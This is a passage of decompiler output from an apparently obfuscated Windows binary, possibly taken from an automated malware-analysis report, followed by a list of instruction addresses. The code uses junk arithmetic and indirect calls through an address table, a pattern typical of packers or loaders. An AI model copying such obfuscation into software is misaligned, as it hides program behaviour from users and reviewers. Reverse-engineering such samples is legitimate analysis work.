						 *_t403 =  *(_t704 - 0x10);
						_t538 = _t547;
						if( *_t675 != 0) {
							goto L9;
						}
						L21:
						_t640 = _t645 + 0x14;
						_t664 = _t675;
						if( *_t640 != 0 ||  *(_t640 + 0x10) != 0) {
							if( *_t640 != 0) {
								 *_t23 =  *_t640;
								_t665 =  *(_t704 - 0x14);
								_t25 = _t532 + 0x41d32a; // 0x41d32a
								 *_t717 =  *_t717 & 0x00000000;
								 *_t717 =  *_t717 ^ _t25;
								_t26 = _t532 + 0x41cdb4; // 0x41cdb4
								 *_t717 =  *_t717 ^ _t704;
								 *_t717 = _t26;
								_t409 =  *((intOrPtr*)(_t532 + 0x41f068))(_t704, _t704);
								 *(_t532 + 0x41cada) =  *(_t532 + 0x41cada) & 0x00000000;
								 *(_t532 + 0x41cada) =  *(_t532 + 0x41cada) | _t597 & 0x00000000 ^ _t409;
								_t597 = _t597;
							} else {
								_t6 = _t538 + 0x41d076; // 0x41d076
								 *(_t704 - 0x10) = 0;
								 *_t721 =  *_t721 | _t6;
								_t520 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10));
								 *(_t704 - 0x14) = _t664;
								 *(_t538 + 0x41d0ee) = 0 ^ _t520;
								_push( *(_t640 + 0x10));
								_pop( *_t14);
								_push( *(_t704 - 0x10));
								_pop(_t665);
								_t16 = _t538 + 0x41c2b0; // 0x41c2b0
								 *_t721 = _t16;
								_t522 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10));
								 *(_t538 + 0x41c1b3) =  *(_t538 + 0x41c1b3) & 0x00000000;
								 *(_t538 + 0x41c1b3) =  *(_t538 + 0x41c1b3) | _t704 ^  *_t721 | _t522;
								_t704 = _t704;
							}
							_t601 =  *_t717;
							 *_t717 =  *(_t640 + 0x10);
							_t34 = _t532 + 0x41c661; // 0x41c661
							 *_t717 =  *_t717 ^ _t704;
							 *_t717 =  *_t717 + _t34;
							_t411 =  *((intOrPtr*)(_t532 + 0x41f060))(_t597);
							 *_t717 = _t665;
							 *((intOrPtr*)(_t532 + 0x41d31e)) = _t411;
							_t668 = 0;
							 *_t37 = _t704;
							_t38 = _t532 + 0x41c5b3; // 0x41c5b3
							 *_t717 = _t38;
							_t413 =  *((intOrPtr*)(_t532 + 0x41f060))( *(_t704 - 0x10));
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t717 =  *_t717 ^ _t413;
							_t44 = _t532 + 0x41c868; // 0x41c868
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 ^ _t44;
							_t415 =  *((intOrPtr*)(_t532 + 0x41f060))( *(_t704 - 0x14));
							 *_t46 = _t640;
							_t551 = 0 ^  *(_t704 - 0x10);
							 *_t48 = _t415;
							 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t551;
							_push( *(_t704 - 0x14));
							_pop(_t416);
							_t642 = _t640;
							 *(_t704 - 0x14) = _t416;
							_t553 = _t551 & 0x00000000 ^ _t416 & 0x00000000 ^  *(_t532 + 0x41c633);
							_t419 =  *(_t704 - 0x14);
							if(_t553 > _t419) {
								_t55 = _t532 + 0x41c5b3; // 0x41c5b3
								 *_t717 = _t55;
								_t57 = _t532 + 0x41c868; // 0x41c868
								 *(_t704 - 0x10) =  *(_t704 - 0x10) & 0x00000000;
								 *_t717 =  *_t717 | _t57;
								_t419 =  *((intOrPtr*)(_t532 + 0x41f064))( *(_t704 - 0x10),  *(_t704 - 0x14));
							}
							 *(_t704 - 0x10) = _t601;
							 *(_t532 + 0x41c2a0) =  *(_t532 + 0x41c2a0) & 0x00000000;
							 *(_t532 + 0x41c2a0) =  *(_t532 + 0x41c2a0) | _t601 & 0x00000000 ^ _t419;
							_t604 =  *(_t704 - 0x10);
							 *(_t704 - 0x10) = _t532;
							_t535 =  *(_t704 - 0x10);
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 | _t419 & 0x00000000 | _t532 & 0x00000000 ^  *(_t704 + 8);
							_t71 = _t535 + 0x41c812; // 0x41c812
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 + _t71;
							_t72 = _t535 + 0x41ca65; // 0x41ca65
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 | _t72;
							_t424 =  *((intOrPtr*)(_t535 + 0x41f068))(_t553, _t668);
							 *(_t704 - 0x14) = _t642;
							 *(_t535 + 0x41d25f) =  *(_t535 + 0x41d25f) & 0x00000000;
							 *(_t535 + 0x41d25f) =  *(_t535 + 0x41d25f) ^ (_t642 -  *(_t704 - 0x14) | _t424);
							_t645 =  *(_t704 - 0x14);
							 *_t81 = _t553;
							 *_t717 =  *_t717 ^ _t668;
							_push( *((intOrPtr*)(_t704 - 8)));
							_pop(_t669);
							 *((intOrPtr*)(_t704 - 8)) = _t669 +  *(_t704 - 0x10);
							_t671 = 0;
							_t85 = _t535 + 0x41d15d; // 0x41d15d
							 *_t717 =  *_t717 - _t553;
							 *_t717 = _t85;
							_t86 = _t535 + 0x41c260; // 0x41c260
							 *(_t704 - 0x10) = 0;
							 *_t717 =  *_t717 | _t86;
							_push( *((intOrPtr*)(_t535 + 0x41f068))( *(_t704 - 0x10), _t553));
							_pop( *_t90);
							_push( *(_t704 - 0x10));
							_pop( *_t92);
							_push( *((intOrPtr*)(_t645 + 0xc)));
							_pop( *_t94);
							_push( *(_t704 - 0x14));
							_pop(_t554);
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 + _t554;
							_t96 = _t535 + 0x41ca52; // 0x41ca52
							 *_t717 =  *_t717 - _t535;
							 *_t717 =  *_t717 + _t96;
							_t430 =  *((intOrPtr*)(_t535 + 0x41f060))(_t535, _t535);
							 *(_t704 - 0x14) = _t604;
							 *(_t535 + 0x41cd09) =  *(_t535 + 0x41cd09) & 0x00000000;
							 *(_t535 + 0x41cd09) =  *(_t535 + 0x41cd09) | _t604 -  *(_t704 - 0x14) ^ _t430;
							_t607 =  *(_t704 - 0x14);
							_t718 = _t717 - 0xfffffffc;
							_push(0);
							 *_t718 =  *_t718 | _t430;
							_push( *_t717);
							_pop(_t431);
							 *_t718 = _t431 +  *(_t704 + 8);
							_t107 = _t535 + 0x41c07f; // 0x41c07f
							 *_t718 = _t107;
							_t435 =  *((intOrPtr*)(_t535 + 0x41f060))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *_t718 =  *_t718 - _t607;
							 *_t718 =  *_t718 | _t435;
							_t110 = _t535 + 0x41d248; // 0x41d248
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t718 =  *_t718 | _t110;
							_t437 =  *((intOrPtr*)(_t535 + 0x41f060))( *(_t704 - 0x14), _t607);
							_t559 =  *_t718;
							_t719 =  &(_t718[1]);
							 *(_t704 - 0x10) = _t535;
							_push(_t559 + _t437);
							_t538 =  *(_t704 - 0x10);
							_pop(_t438);
							_t561 = _t559 & 0x00000000 ^ _t607 -  *_t719 ^  *(_t538 + 0x41d0e6);
							_t610 = _t607;
							if(_t561 > _t438) {
								_t118 = _t538 + 0x41c07f; // 0x41c07f
								 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
								 *_t719 =  *_t719 + _t118;
								_t122 = _t538 + 0x41d248; // 0x41d248
								 *(_t704 - 0x14) = 0;
								 *_t719 =  *_t719 | _t122;
								_t438 =  *((intOrPtr*)(_t538 + 0x41f064))( *(_t704 - 0x14),  *(_t704 - 0x14));
								 *(_t704 - 0x10) = _t671;
								 *((intOrPtr*)(_t538 + 0x41cd68)) = _t438;
								_t671 =  *(_t704 - 0x10);
							}
							_pop( *_t129);
							 *_t719 = _t561 & 0x00000000 ^  *(_t704 - 0x10);
							_t564 = _t671;
							_t672 = _t564 +  *(_t704 + 8);
							_t566 = 0;
							 *_t719 =  *_t719 & 0x00000000;
							 *_t719 =  *_t719 | _t566;
							_t132 = _t538 + 0x41d135; // 0x41d135
							 *_t719 = _t132;
							_t134 = _t538 + 0x41c60e; // 0x41c60e
							 *_t719 =  *_t719 & 0x00000000;
							 *_t719 =  *_t719 | _t134;
							_t441 =  *((intOrPtr*)(_t538 + 0x41f068))(_t566,  *(_t704 - 0x10), _t438);
							 *(_t704 - 0x14) = _t610;
							 *((intOrPtr*)(_t538 + 0x41c3e6)) = _t441;
							_t613 =  *(_t704 - 0x14);
							_t568 =  *_t719;
							_t720 = _t719 - 0xfffffffc;
							 *_t720 =  *_t720 - _t613;
							 *_t720 =  *_t720 ^ _t568;
							_t139 = _t538 + 0x41c220; // 0x41c220
							 *(_t704 - 0x14) = 0;
							 *_t720 =  *_t720 + _t139;
							_t443 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x14), _t613);
							 *(_t704 - 0x10) = _t568;
							 *(_t538 + 0x41cf1d) =  *(_t538 + 0x41cf1d) & 0x00000000;
							 *(_t538 + 0x41cf1d) =  *(_t538 + 0x41cf1d) ^ (_t568 ^  *(_t704 - 0x10) | _t443);
							_t444 =  *((intOrPtr*)(_t538 + 0x41f054))();
							 *(_t704 - 0x14) = 0;
							 *_t720 =  *_t720 + _t444;
							_t153 = _t538 + 0x41c49b; // 0x41c49b
							 *(_t704 - 0x10) = 0;
							 *_t720 =  *_t720 + _t153;
							_t446 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *(_t704 - 0x14) = _t672;
							 *(_t538 + 0x41c8aa) =  *(_t538 + 0x41c8aa) & 0x00000000;
							 *(_t538 + 0x41c8aa) =  *(_t538 + 0x41c8aa) | _t672 & 0x00000000 ^ _t446;
							_t675 =  *(_t704 - 0x14);
							_t721 = _t720 - 0xfffffffc;
							 *(_t704 - 0x10) = _t613;
							 *(_t704 - 4) =  *(_t704 - 4) & 0x00000000;
							 *(_t704 - 4) =  *(_t704 - 4) ^ _t613 -  *(_t704 - 0x10) ^ _t446 & 0x00000000 ^  *_t720;
							_t616 =  *(_t704 - 0x10);
							_t170 = _t538 + 0x41c279; // 0x41c279
							 *_t721 = _t170;
							_t172 = _t538 + 0x41d1ea; // 0x41d1ea
							 *_t721 =  *_t721 - _t675;
							 *_t721 = _t172;
							_t451 =  *((intOrPtr*)(_t538 + 0x41f068))(_t675,  *(_t704 - 0x14));
							 *(_t704 - 0x14) =  *(_t704 - 0x10);
							 *(_t538 + 0x41cbc5) = 0 ^ _t451;
							_t574 =  *(_t704 - 0x14);
							goto L9;
						}
						 *_t721 =  *_t721 ^ _t491;
						_t523 = _t491;
						return _t523;
						L9:
						if(( *_t675 & 0x80000000) != 0) {
							goto L15;
						} else {
							_t179 = _t538 + 0x41c8e1; // 0x41c8e1
							 *_t721 =  *_t721 - _t616;
							 *_t721 =  *_t721 | _t179;
							_t493 =  *((intOrPtr*)(_t538 + 0x41f060))(_t616);
							 *(_t704 - 0x10) = 0;
							 *_t721 =  *_t721 | _t493;
							_t183 = _t538 + 0x41c6e2; // 0x41c6e2
							 *_t721 =  *_t721 - _t538;
							 *_t721 =  *_t721 | _t183;
							_t495 =  *((intOrPtr*)(_t538 + 0x41f060))(_t538,  *(_t704 - 0x10));
							_t588 = (_t574 & 0x00000000) +  *_t721;
							_t724 = _t721 - 0xfffffffc;
							 *_t724 =  *_t724 + _t645;
							_t651 = _t495;
							_t496 = _t651 + _t588;
							_t653 = 0;
							 *(_t704 - 0x10) = _t616;
							_t590 = _t588 & 0x00000000 ^ _t616 ^  *(_t704 - 0x10) ^  *(_t538 + 0x41c521);
							_t629 =  *(_t704 - 0x10);
							if(_t590 > _t496) {
								_t189 = _t538 + 0x41c8e1; // 0x41c8e1
								 *_t724 =  *_t724 & 0x00000000;
								 *_t724 =  *_t724 | _t189;
								_t190 = _t538 + 0x41c6e2; // 0x41c6e2
								 *_t724 = _t190;
								_t496 =  *((intOrPtr*)(_t538 + 0x41f064))( *(_t704 - 0x10), _t675);
							}
							 *(_t538 + 0x41c56c) =  *(_t538 + 0x41c56c) & 0x00000000;
							 *(_t538 + 0x41c56c) =  *(_t538 + 0x41c56c) ^ (_t704 & 0x00000000 | _t496);
							_t704 = _t704;
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 + _t675;
							_t197 = _t538 + 0x41c266; // 0x41c266
							 *_t724 = _t197;
							_push( *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10), _t496));
							_pop( *_t200);
							_push( *(_t704 - 0x10));
							_pop( *_t202);
							_t692 =  *_t675;
							_t203 = _t538 + 0x41ce1f; // 0x41ce1f
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 ^ _t203;
							_t500 =  *((intOrPtr*)(_t538 + 0x41f060))(_t692);
							 *(_t704 - 0x10) = 0;
							 *_t724 =  *_t724 ^ _t500;
							_t207 = _t538 + 0x41c0ad; // 0x41c0ad
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 | _t207;
							_t502 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
							_pop( *_t212);
							_t592 = _t590 & 0x00000000 |  *(_t704 - 0x14);
							 *_t214 = _t502;
							 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t592;
							_push( *(_t704 - 0x10));
							_pop(_t503);
							_t631 = _t629;
							 *(_t704 - 0x10) = _t692;
							_t594 = _t592 & 0x00000000 | _t692 & 0x00000000 ^  *(_t538 + 0x41c765);
							_t695 =  *(_t704 - 0x10);
							if(_t594 > _t503) {
								_t221 = _t538 + 0x41ce1f; // 0x41ce1f
								 *_t724 = _t221;
								_t223 = _t538 + 0x41c0ad; // 0x41c0ad
								 *_t724 =  *_t724 & 0x00000000;
								 *_t724 =  *_t724 | _t223;
								_t503 =  *((intOrPtr*)(_t538 + 0x41f064))(_t704,  *(_t704 - 0x14));
							}
							 *_t724 = _t631;
							 *(_t538 + 0x41c497) = 0 ^ _t503;
							_t634 = 0;
							 *_t724 = _t653;
							_t654 = _t695;
							_t696 = _t654 +  *(_t704 + 8);
							_t656 = 0;
							_t227 = _t538 + 0x41d159; // 0x41d159
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 ^ _t227;
							_t231 = _t538 + 0x41d213; // 0x41d213
							 *(_t704 - 0x10) = 0;
							 *_t724 =  *_t724 + _t231;
							_t506 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *(_t704 - 0x14) = _t696;
							 *(_t538 + 0x41d182) =  *(_t538 + 0x41d182) & 0x00000000;
							 *(_t538 + 0x41d182) =  *(_t538 + 0x41d182) ^ (_t696 ^  *(_t704 - 0x14) | _t506);
							_t577 = _t594;
							_t242 = _t538 + 0x41c85c; // 0x41c85c
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 | _t242;
							_t243 = _t538 + 0x41c10e; // 0x41c10e
							 *_t724 = _t243;
							_t509 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x14), _t634);
							 *(_t538 + 0x41ce00) =  *(_t538 + 0x41ce00) & 0x00000000;
							 *(_t538 + 0x41ce00) =  *(_t538 + 0x41ce00) | _t634 & 0x00000000 | _t509;
							_t637 = _t634;
							_push( *(_t704 - 0x14) + 2);
							_pop( *_t250);
							_push( *(_t704 - 0x14));
							_pop( *_t252);
							_t253 = _t538 + 0x41c9a3; // 0x41c9a3
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 ^ _t253;
							_t257 = _t538 + 0x41d1fa; // 0x41d1fa
							 *_t724 = _t257;
							_t512 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x14),  *(_t704 - 0x14));
							 *_t724 = _t637;
							 *((intOrPtr*)(_t538 + 0x41d0fe)) = _t512;
							_t622 = 0;
							_t675 = 0 ^  *_t724;
							_t721 =  &(_t724[1]);
							_t261 = _t538 + 0x41d0af; // 0x41d0af
							 *_t721 =  *_t721 & 0x00000000;
							 *_t721 =  *_t721 | _t261;
							_t262 = _t538 + 0x41ceae; // 0x41ceae
							 *_t721 = _t262;
							_t459 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x10), _t577);
							 *(_t704 - 0x10) = _t656;
							 *(_t538 + 0x41c8cd) =  *(_t538 + 0x41c8cd) & 0x00000000;
							 *(_t538 + 0x41c8cd) =  *(_t538 + 0x41c8cd) ^ _t656 -  *(_t704 - 0x10) ^ _t459;
							_t645 =  *(_t704 - 0x10);
						}
						 *(_t704 - 0x10) = _t540;
						_t543 =  *(_t704 - 0x10);
						_t299 = _t543 + 0x41cb0b; // 0x41cb0b
						 *(_t704 - 0x14) = 0;
						 *_t721 =  *_t721 | _t299;
						_t463 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14));
						 *_t721 = _t463;
						_t304 = _t543 + 0x41cda5; // 0x41cda5
						 *_t721 = _t304;
						_t465 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
						_t722 = _t721 - 0xfffffffc;
						 *_t722 =  *_t722 ^ _t704;
						_t705 = _t465;
						_t466 = _t705 +  *_t721;
						_t707 = 0;
						 *(_t707 - 0x14) = _t675;
						_t580 =  *(_t543 + 0x41c96a);
						_t678 =  *(_t707 - 0x14);
						if(_t580 > _t466) {
							_t310 = _t543 + 0x41cb0b; // 0x41cb0b
							 *_t722 =  *_t722 & 0x00000000;
							 *_t722 =  *_t722 | _t310;
							_t311 = _t543 + 0x41cda5; // 0x41cda5
							 *(_t707 - 0x14) =  *(_t707 - 0x14) & 0x00000000;
							 *_t722 =  *_t722 | _t311;
							_t466 =  *((intOrPtr*)(_t543 + 0x41f064))( *(_t707 - 0x14), _t707);
						}
						 *_t316 = _t466;
						 *_t318 =  *(_t707 - 0x10);
						_t722[1] =  *(_t707 - 0xc);
						_t545 = _t543;
						_t321 = _t545 + 0x41cee2; // 0x41cee2
						 *_t722 = _t321;
						_t323 = _t545 + 0x41d33a; // 0x41d33a
						 *(_t707 - 0x14) = 0;
						 *_t722 =  *_t722 | _t323;
						_t469 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x14),  *(_t707 - 0x10), _t580);
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) & 0x00000000;
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) | _t678 -  *_t722 | _t469;
						_t681 = _t678;
						 *(_t707 - 0x10) = _t645;
						_t648 =  *(_t707 - 0x10);
						 *_t722 =  *_t722 - _t622;
						 *_t722 =  *_t722 ^ (_t469 & 0x00000000 | _t645 ^  *(_t707 - 0x10) |  *(_t707 - 4));
						_t335 = _t545 + 0x41d2b3; // 0x41d2b3
						 *_t722 =  *_t722 - _t622;
						 *_t722 = _t335;
						_t336 = _t545 + 0x41cb87; // 0x41cb87
						 *(_t707 - 0x10) =  *(_t707 - 0x10) & 0x00000000;
						 *_t722 =  *_t722 + _t336;
						_t474 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x10), _t622, _t622);
						 *(_t707 - 0x10) = _t580;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) & 0x00000000;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) | _t580 ^  *(_t707 - 0x10) | _t474;
						_t583 =  *(_t707 - 0x10);
						_t723 =  &(_t722[1]);
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 ^  *_t722;
						_t350 = _t545 + 0x41c922; // 0x41c922
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 | _t350;
						_t353 = _t545 + 0x41c97d; // 0x41c97d
						 *_t723 =  *_t723 & 0x00000000;
						 *_t723 =  *_t723 + _t353;
						_t479 =  *((intOrPtr*)(_t545 + 0x41f068))(_t583,  *(_t707 - 0x10),  *(_t707 - 0x10));
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) & 0x00000000;
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) | _t707 & 0x00000000 | _t479;
						_t704 = _t707;
						_t480 =  *((intOrPtr*)(_t545 + 0x41f050))();
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 + _t480;
						_t362 = _t545 + 0x41c197; // 0x41c197
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t362;
						_t482 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t482;
						_t368 = _t545 + 0x41c46f; // 0x41c46f
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 ^ _t368;
						_t484 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						_pop( *_t372);
						_t585 = (_t583 & 0x00000000) +  *(_t704 - 0x10);
						 *_t374 = _t484;
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t585;
						_push( *(_t704 - 0x14));
						_pop(_t485);
						_t547 = _t545;
						 *(_t704 - 0x10) = _t648;
						_t574 = _t585 & 0x00000000 ^ _t648 -  *(_t704 - 0x10) ^  *(_t547 + 0x41c9d0);
						_t645 =  *(_t704 - 0x10);
						if(_t574 > _t485) {
							_t382 = _t547 + 0x41c197; // 0x41c197
							 *_t723 =  *_t723 & 0x00000000;
							 *_t723 =  *_t723 + _t382;
							_t383 = _t547 + 0x41c46f; // 0x41c46f
							 *(_t704 - 0x10) = 0;
							 *_t723 =  *_t723 ^ _t383;
							_t485 =  *((intOrPtr*)(_t547 + 0x41f064))( *(_t704 - 0x10), _t681);
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) & 0x00000000;
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) | _t704 ^  *_t723 ^ _t485;
							_t704 = _t704;
						}
						_t721 =  &(_t723[1]);
						 *_t721 =  *_t721 ^ _t704;
						 *_t721 = _t681;
						 *_t721 = _t485 & 0x00000000 |  *_t723;
						_t490 = 0;
						 *_t721 = _t622;
						 *((intOrPtr*)( *((intOrPtr*)(_t704 - 8)))) = _t490;
						_t625 = 0;
						 *_t392 = _t704;
						 *_t721 = 4;
						_t491 = _t547;
						 *_t394 = 0 ^  *(_t704 - 0x14);
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t491;
						_t675 =  *(_t704 - 0x14);
						_t616 = _t625;
						 *_t399 =  *((intOrPtr*)(_t704 - 8));
						 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t491;
						 *_t403 =  *(_t704 - 0x10);
						_t538 = _t547;
						if( *_t675 != 0) {
							goto L9;
						}
						goto L21;
					}
				}
			}

0x007d5a25
0x007d5a25
0x007d5a25
0x007d5a2b
0x007d5a2c
0x007d5a30
0x007d5a33
0x007d5a39
0x007d5a40
0x007d5a46
0x007d5a49
0x007d5a49
0x007d5a4d
0x007d5a51
0x007d5a59
0x007d5a5c
0x007d5a5f
0x007d5a67
0x007d5a6e
0x007d5a74
0x007d5a75
0x007d5a7f
0x007d5a83
0x007d5a8d
0x007d5a91
0x007d5a94
0x007d5a9a
0x007d5aa1
0x007d5aa7
0x007d5aaa
0x007d5ab8
0x007d5abb
0x007d5ac5
0x007d5ac9
0x007d5acc
0x007d5ad2
0x007d5ada
0x007d5ae1
0x007d5ae7
0x007d5aea
0x007d5aea
0x007d5af8
0x007d5afb
0x007d5b01
0x007d5b0b
0x007d5b0e
0x007d5b17
0x007d5b1a
0x007d5b23
0x007d5b26
0x007d5b35
0x007d5b3a
0x007d5b3e
0x007d5b41
0x007d5b43
0x007d5b44
0x007d5b4f
0x007d5b51
0x007d5b56
0x007d5b58
0x007d5b5f
0x007d5b63
0x007d5b66
0x007d5b6c
0x007d5b73
0x007d5b76
0x007d5b76
0x007d5b7d
0x007d5b83
0x007d5b8e
0x007d5b92
0x007d5b93
0x007d5b9c
0x007d5b9f
0x007d5ba5
0x007d5baf
0x007d5bb2
0x007d5bbe
0x007d5bc5
0x007d5bcb
0x007d5bcc
0x007d5bda
0x007d5bde
0x007d5be1
0x007d5be4
0x007d5beb
0x007d5bee
0x007d5bf1
0x007d5bf7
0x007d5bfe
0x007d5c01
0x007d5c07
0x007d5c0f
0x007d5c16
0x007d5c1c
0x007d5c28
0x007d5c2b
0x007d5c35
0x007d5c38
0x007d5c3e
0x007d5c48
0x007d5c4b
0x007d5c52
0x007d5c56
0x007d5c59
0x007d5c65
0x007d5c6c
0x007d5c72
0x007d5c73
0x007d5c79
0x007d5c83
0x007d5c86
0x007d5c8c
0x007d5c96
0x007d5c99
0x007d5c9f
0x007d5ca9
0x007d5cac
0x007d5cb2
0x007d5cbc
0x007d5cbf
0x007d5ccb
0x007d5cce
0x007d5cd5
0x007d5cd8
0x007d5cdb
0x007d5cde
0x007d5cdf
0x007d5ce0
0x007d5cef
0x007d5cf1
0x007d5cf6
0x007d5cf8
0x007d5cff
0x007d5d03
0x007d5d06
0x007d5d0c
0x007d5d16
0x007d5d19
0x007d5d25
0x007d5d2c
0x007d5d32
0x007d5d32
0x007d5d3c
0x007d5d40
0x007d5d43
0x007d5d48
0x007d5d52
0x007d5d55
0x007d5d5c
0x007d5d5e
0x007d5d61
0x007d5d68
0x007d5d6f
0x007d5d74
0x007d5d77
0x007d5d7d
0x007d5d7e
0x007d5d85
0x007d5d88
0x007d5d8e
0x007d5d91
0x007d5d95
0x00000000
0x00000000
0x007d5d9b
0x007d5da4
0x007d5da6
0x007d5daa
0x007d5314
0x007d5405
0x007d540b
0x007d540c
0x007d5413
0x007d5417
0x007d541a
0x007d5421
0x007d5424
0x007d5427
0x007d5433
0x007d543a
0x007d5440
0x007d531a
0x007d531a
0x007d5320
0x007d532a
0x007d532d
0x007d5333
0x007d533a
0x007d5343
0x007d5346
0x007d5349
0x007d534c
0x007d534d
0x007d5356
0x007d5359
0x007d5365
0x007d536c
0x007d5372
0x007d5372
0x007d5445
0x007d5445
0x007d5448
0x007d544f
0x007d5452
0x007d5455
0x007d545d
0x007d5464
0x007d546a
0x007d546b
0x007d546e
0x007d5477
0x007d547a
0x007d5480
0x007d5487
0x007d548a
0x007d5491
0x007d5495
0x007d5498
0x007d54a0
0x007d54a3
0x007d54aa
0x007d54ad
0x007d54b0
0x007d54b3
0x007d54b4
0x007d54b5
0x007d54c4
0x007d54c6
0x007d54cb
0x007d54cd
0x007d54d6
0x007d54d9
0x007d54df
0x007d54e6
0x007d54e9
0x007d54e9
0x007d54ef
0x007d54f7
0x007d54fe
0x007d5504
0x007d5507
0x007d5515
0x007d5519
0x007d551d
0x007d5520
0x007d5527
0x007d552b
0x007d552e
0x007d5535
0x007d5539
0x007d553c
0x007d5542
0x007d554a
0x007d5551
0x007d5557
0x007d555a
0x007d5562
0x007d5565
0x007d5568
0x007d556b
0x007d556e
0x007d556f
0x007d5576
0x007d5579
0x007d557c
0x007d5582
0x007d558c
0x007d5595
0x007d5596
0x007d5599
0x007d559c
0x007d55a2
0x007d55a5
0x007d55a8
0x007d55ab
0x007d55ad
0x007d55b1
0x007d55b4
0x007d55bb
0x007d55be
0x007d55c1
0x007d55c7
0x007d55cf
0x007d55d6
0x007d55dc
0x007d55e8
0x007d55eb
0x007d55ed
0x007d55f0
0x007d55f1
0x007d55fb
0x007d55fe
0x007d5607
0x007d560a
0x007d5611
0x007d5614
0x007d5617
0x007d561d
0x007d5624
0x007d5627
0x007d562f
0x007d5632
0x007d5635
0x007d563c
0x007d563d
0x007d5640
0x007d564e
0x007d5650
0x007d5653
0x007d5655
0x007d565b
0x007d5662
0x007d5665
0x007d566b
0x007d5675
0x007d5678
0x007d567e
0x007d5685
0x007d568b
0x007d568b
0x007d5694
0x007d569c
0x007d56a0
0x007d56a4
0x007d56a6
0x007d56a8
0x007d56ac
0x007d56af
0x007d56b8
0x007d56bb
0x007d56c2
0x007d56c6
0x007d56c9
0x007d56cf
0x007d56d6
0x007d56dc
0x007d56e1
0x007d56e4
0x007d56e8
0x007d56eb
0x007d56ee
0x007d56f4
0x007d56fe
0x007d5701
0x007d5707
0x007d570f
0x007d5716
0x007d571f
0x007d5725
0x007d572f
0x007d5732
0x007d5738
0x007d5742
0x007d5745
0x007d574b
0x007d5753
0x007d575a
0x007d5760
0x007d576c
0x007d576f
0x007d5777
0x007d577b
0x007d577e
0x007d5781
0x007d578a
0x007d578d
0x007d5794
0x007d5797
0x007d579a
0x007d57a0
0x007d57a7
0x007d57ad
0x00000000
0x007d57ad
0x007d5dbb
0x007d5dbe
0x007d5dd0
0x007d57b0
0x007d57b6
0x00000000
0x007d57bc
0x007d57bc
0x007d57c3
0x007d57c6
0x007d57c9
0x007d57cf
0x007d57d9
0x007d57dc
0x007d57e3
0x007d57e6
0x007d57e9
0x007d57f5
0x007d57f8
0x007d57fd
0x007d5801
0x007d5804
0x007d5806
0x007d5807
0x007d5816
0x007d5818
0x007d581d
0x007d581f
0x007d5826
0x007d582a
0x007d582d
0x007d5836
0x007d5839
0x007d5839
0x007d5845
0x007d584c
0x007d5852
0x007d5854
0x007d5858
0x007d585b
0x007d5864
0x007d586d
0x007d586e
0x007d5871
0x007d5874
0x007d587a
0x007d587c
0x007d5883
0x007d5887
0x007d588a
0x007d5890
0x007d589a
0x007d589d
0x007d58a3
0x007d58aa
0x007d58ad
0x007d58b9
0x007d58bc
0x007d58c3
0x007d58c6
0x007d58c9
0x007d58cc
0x007d58cd
0x007d58ce
0x007d58dd
0x007d58df
0x007d58e4
0x007d58e6
0x007d58ef
0x007d58f2
0x007d58f9
0x007d58fd
0x007d5900
0x007d5900
0x007d5908
0x007d590f
0x007d5915
0x007d5918
